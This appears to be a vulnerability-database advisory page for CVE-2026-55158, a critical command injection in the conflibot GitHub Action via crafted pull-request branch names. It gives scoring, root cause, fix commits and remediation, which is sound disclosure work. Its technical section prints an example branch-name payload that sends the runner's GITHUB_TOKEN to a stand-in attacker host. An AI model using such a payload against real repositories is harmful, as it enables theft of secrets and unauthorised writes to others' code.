Skip to main content

conflibot CVE-2026-55158

| EUVDEUVD-2026-78769 CRITICAL
OS Command Injection (CWE-78)
2026-08-17 https://github.com/wktk/conflibot GHSA-2qvg-qr73-mqxp
9.1
CVSS 3.1 · Vendor: https://github.com/wktk/conflibot
Share

Severity by source

Vendor (https://github.com/wktk/conflibot) PRIMARY
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
vuln.today AI
9.1 CRITICAL

Any user can open a PR (AV:N, PR:N, UI:N) and a crafted branch name auto-executes commands yielding token/secret theft and repo writes (C:H/I:H); no availability impact and no cross-system scope change (A:N, S:U).

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/wktk/conflibot).

CVSS VectorVendor: https://github.com/wktk/conflibot

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 17, 2026 - 14:31 vuln.today
Analysis Generated
Aug 17, 2026 - 14:31 vuln.today
CVE Published
Aug 17, 2026 - 13:35 github-advisory
CRITICAL 9.1

DescriptionCVE.org

Impact

Versions of conflibot before 1.2.1 build git commands by string interpolation and run them through a shell. Several of the interpolated values are pull request branch names (head.ref), which are attacker-controlled: anyone can open a pull request (including from a fork) whose head branch name contains shell metacharacters such as ` `, $( ), ;, |, or &`.

The recommended workflow runs conflibot on the pull_request_target event, where the job has access to the base repository's secrets and a write-scoped GITHUB_TOKEN. As a result, a crafted branch name causes arbitrary command execution on the runner with that write token in the environment, allowing an attacker to exfiltrate secrets and the token, push to the repository, or otherwise abuse the token's permissions. No special privileges and no maintainer interaction are required - the action runs automatically when the pull request is opened.

Affected configurations

Any workflow using wktk/conflibot at a version earlier than 1.2.1. The risk is highest under pull_request_target (the documented configuration), because that is where the write token and secrets are exposed to attacker-influenced refs.

Patches

Fixed in 1.2.1 and 2.0.0. All git invocations now use argument arrays via execFile/spawn instead of a shell, so branch names can no longer be interpreted as shell syntax, and pull requests are referenced by number through refs/pull/<n>/head rather than by branch name.

Workarounds

There is no configuration-only workaround for affected versions. Upgrade to wktk/conflibot@v2. On GitHub-hosted runners this is a drop-in upgrade; self-hosted runners additionally need Node.js 24 support and git 2.38 or later.

Resources

  • Fix (v2.0.0): https://github.com/wktk/conflibot/commit/0107ac6
  • Fix (v1.2.1): https://github.com/wktk/conflibot/commit/59e255c
  • Releases: https://github.com/wktk/conflibot/releases/tag/v2.0.0 and https://github.com/wktk/conflibot/releases/tag/v1.2.1

AnalysisAI

Arbitrary command execution in the conflibot GitHub Action (versions before 1.2.1) lets any user who opens a pull request run shell commands on the workflow runner. conflibot builds git commands via string interpolation and executes them through a shell, and one interpolated value is the attacker-controlled PR head branch name (head.ref); a branch name containing shell metacharacters is executed as code. Under the documented pull_request_target configuration the runner holds a write-scoped GITHUB_TOKEN and repository secrets, so this is a critical CI/CD supply-chain exposure (CVSS 9.1). There is no public exploit identified at time of analysis, but the technique is well understood and the trigger is trivial.

Technical ContextAI

conflibot is a Node.js-based GitHub Action that detects merge conflicts between pull requests by fetching refs and running git merge/format-patch operations. The root cause is CWE-78 (OS Command Injection): the vulnerable code (system(command)) passed a single interpolated string such as git checkout ${pull.data.head.ref} and git format-patch origin/${base.ref}..origin/${head.ref} to child_process.exec, which spawns a shell. Because GitHub allows arbitrary branch names, an attacker names their fork branch something like $(curl attacker/$GITHUB_TOKEN) and the shell evaluates it. The CPE identifier pkg:actions/wktk_conflibot confirms this is a GitHub Actions marketplace action rather than a library. The fix (commits 0107ac6 and 59e255c) replaces exec with execFile/spawn using argument arrays (no shell) and references PRs by number via refs/pull/<n>/head, so untrusted branch names never reach git.

RemediationAI

Vendor-released patch: upgrade to wktk/conflibot@v2 (2.0.0), or to 1.2.1 on the v1 line. On GitHub-hosted runners v2 is a drop-in upgrade; self-hosted runners must additionally provide Node.js 24 and git 2.38 or later before moving to v2. The vendor states there is no configuration-only workaround for affected versions, so patching is mandatory. As interim compensating controls until the pin is bumped, you can stop running the action on pull_request_target and switch to the plain pull_request event (trade-off: the job then runs with a read-only token and cannot post status/comments that require write access, reducing the action's usefulness), or gate the workflow so it does not run automatically on fork PRs (trade-off: conflict detection no longer covers external contributions, which is much of its value). Reference the fix commits 0107ac6 (v2.0.0) and 59e255c (v1.2.1) and advisory GHSA-2qvg-qr73-mqxp. After upgrading, rotate any secrets that may have been exposed to prior runs.

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

Share

CVE-2026-55158 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy